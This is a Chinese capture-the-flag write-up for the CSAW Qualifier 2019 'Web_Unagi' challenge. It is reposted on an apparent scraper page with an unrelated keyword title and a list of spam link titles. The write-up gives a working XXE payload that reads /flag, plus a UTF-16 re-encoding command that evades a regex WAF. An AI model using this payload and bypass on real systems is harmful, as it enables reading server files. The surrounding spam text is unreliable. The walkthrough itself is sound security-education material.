当前位置: 首页 > news >正文

城乡建设网站宁德广告接单平台app

城乡建设网站宁德,广告接单平台app,如何介绍自己的网站,网站手机版模板免费下载[CSAWQual 2019]Web_Unagi 1 解题流程1.1 分析1.2 解题 2 思考总结 1 解题流程 这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html 1.1 分析 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那…

[CSAWQual 2019]Web_Unagi

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
  • 2 思考总结

1

1 解题流程

这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html

1.1 分析

  1. 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那么就是XXE注入了
    2
  2. 点击about得到flag位置: Flag is located at /flag, come get it

1.2 解题

  1. 编写XXE注入文件,以xml结尾
    <?xml version='1.0'?>
    <!DOCTYPE users [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag" >]>
    或
    <!ENTITY xxe SYSTEM "file:///flag" >]>
    <users><user><username>bob</username><password>passwd2</password><name>Bob</name><email>bob@fakesite.com</email>  <group>CSAW2019</group><intro>&xxe;</intro></user>
    </users>
    
  2. 尝试上传,发现还是被拦截了,这时候可以查询如何绕过WAF
    xml文档不仅可以用UTF-8编码,也可以用UTF-16、UTF-32和EBCDIC编码。
    在这些编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
    在linux中使用命令将xml转换为16进制
    cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
  3. 上传即可获取flag
    flag{5325a120-326c-4829-8778-22c54362a7b4}

2 思考总结

编写xml注意点:
1、属性名大小写要区分
2、flag很长,放在其他属性中只能输出部分,而intro意为introduce个人简介,可以输出长内容

http://www.ds6.com.cn/news/26880.html

相关文章:

  • 网站中数据查询如何做市场调研报告ppt
  • 企业官方网站是什么网站如何推广运营
  • 网站qq号获取如何优化网络速度
  • 网站设计结果安卓手机优化软件哪个好
  • 做一个赚钱的网站无代码系统搭建平台
  • 手工活接单在家做有正规网站吗b站推广网站mmmnba
  • 鸣蝉建站平台万网域名注册官网
  • 申报湖南创新型省份建设专项网站公司网页制作教程
  • 外贸网站教程个人网站建站教程
  • 最具口碑的企业网站建设手机创建网站教程
  • 网站后台管理员扫描互联网广告推广好做吗
  • 网站运营怎么学百度域名查询官网
  • 制造网站开发百度平台我的订单查询在哪里
  • 成都奶茶加盟网站建设搜索引擎优化要考虑哪些方面?
  • 培训网站视频不能拖动怎么办中国十大搜索引擎排名
  • 网站地图如何做2345王牌浏览器
  • 网站如何做快照最近一周新闻
  • 网站qq在线客服代码怎么安装今日军事新闻最新消息新闻
  • 女生学java好吗百度如何优化
  • 做电子烟外贸网站有哪些深圳网络推广
  • 怎么样做网站推广企业网站模板建站
  • 免费做网站软件网站建设制作教程
  • 附近的计算机培训班宁波正规seo推广
  • 模块式网站制作文件外链生成网站
  • 衡水手机网站建设公司天津seo排名
  • 阳江网站开发网站seo批量查询工具
  • 潢川微信网站建设360手机优化大师下载
  • 怎么找做网站的b2b电子商务平台排名
  • wordpress复制数据库结构百度网站优化软件
  • 读书网站建设策划书seo 优化一般包括哪些内容